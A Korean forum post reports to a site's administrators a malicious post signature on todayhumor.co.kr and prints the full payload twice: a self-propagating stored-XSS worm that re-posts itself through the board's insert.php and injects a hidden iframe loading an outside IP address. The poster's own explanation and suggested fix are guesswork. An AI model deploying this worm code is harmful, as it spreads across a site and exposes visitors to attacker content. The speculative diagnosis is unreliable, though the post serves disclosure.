[재업] 19. 게시물 소스 분석. 관리자가 봐야 할듯?

<div style="width:1px;filter:glow" onfilterchange="var xmlhttp = new XMLHttpRequest(); ok_click(this); xmlhttp.open('GET', window.location, false); xmlhttp.send(); var tail = xmlhttp.responseText; tail = tail.split('tail'.concat('_layer'))[1]; tail = tail.split('content'.concat('Container'))[0]; xmlhttp.open('POST', 'http://todayhumor.co.kr/board/insert.php', false); xmlhttp.setRequestHeader('Content-type','application/x-www-form-urlencoded'); var se = 'content=..&to_prevent_error_code=X&ta'.concat('b'); se = se.concat('le=humordata&oekaki_url=&h_code=yes&name=z&subject=19.&tail_html=Y&tail='.concat(escape(tail))); xmlhttp.send(se); var ifra = '<ifra'; var me = ifra.concat('me width=1 height=1 src=http://1.234.83.71></ifra'); var fin = me.concat('me>'); document.getElementById('topmenu_contain').outerHTML= fin;">x</div>

이란 내용의 꼬릿말이 문제인듯 합니다.
보기 편하게

<div style="

width:1px;

filter:glow" onfilterchange="var xmlhttp = new XMLHttpRequest();

ok_click(this);

xmlhttp.open('GET', window.location, false);

xmlhttp.send();

var tail = xmlhttp.responseText; tail = tail.split('tail'.concat('_layer'))[1];

tail = tail.split('content'.concat('Container'))[0];

xmlhttp.open('POST', 'http://todayhumor.co.kr/board/insert.php', false);

xmlhttp.setRequestHeader('Content-type','application/x-www-form-urlencoded');

var se = 'content=..&to_prevent_error_code=X&ta'.concat('b'); se = se.concat('le=humordata&

oekaki_url=&h_code=yes&name=z&

subject=19.&

tail_html=Y&tail='.concat(escape(tail)));

xmlhttp.send(se);

var ifra = '<ifra';

var me = ifra.concat('me width=1 height=1 src=http://1.234.83.71></ifra');

var fin = me.concat('me>');

document.getElementById('topmenu_contain').outerHTML= fin;

">x</div>

코드는 잘모르겠고 GET 부분이랑, POST 부분 마지막으로 me (var me) 가 이렇게 만드는듯.

get으로 권한 가지고 오고 POST로 올리고 me가 올릴 소스 ( 꼬릿말) 인듯.

+ 추가

MySQL 로 호스팅 하는듯 누가. 해당 소스 올려놓고 퍼가는 형식으로 가는거 같음.

해결책은 호스팅 부분 을 막던 _list.asp or _list.jsp 쪽 건드르는거니까 board_list 파일명을 대체 하거나 위치를 바꾸면 될듯.

추가로

꼬릿말

x 위에

"> "> 이건 강제로 꼬릿말 벗어나려는 거 같음.

x 부분이 해킹 코드